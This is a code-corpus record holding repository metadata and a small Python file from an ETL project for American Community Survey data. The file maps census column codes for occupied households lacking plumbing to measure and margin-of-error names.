8dcb937ae42edefdcbf4daffa1f87a7d8005a663 | 66137e154dbe9b9f1d4056dd2cc06daedf2d27fe | /acs/acs_ygh_occupied_households_lacking_plumbing/static.py | e3c6298668e3537d2584f0f9d02f836b1eb831dd | [] | no_license | domsmo/datausa-acs-bamboo-etl | edb90504b2418e3ef2c1574cd270a5b54122a1d7 | 07cca23a9003719b1d8bc07c3c417253d68c9ba6 | refs/heads/main | 2023-08-31T23:20:56.598074 | 2021-10-23T07:40:14 | 2021-10-23T07:40:14 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 129 | py | DICT_RENAME = {
'B25048_002E': 'mea-0',
'B25048_003E': 'mea-1',
'B25048_002M': 'moe-0',
'B25048_003M': 'moe-1',
} | [
"jelmyhermosilla@MacBook-Pro-de-jelmy.local"
] | jelmyhermosilla@MacBook-Pro-de-jelmy.local |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.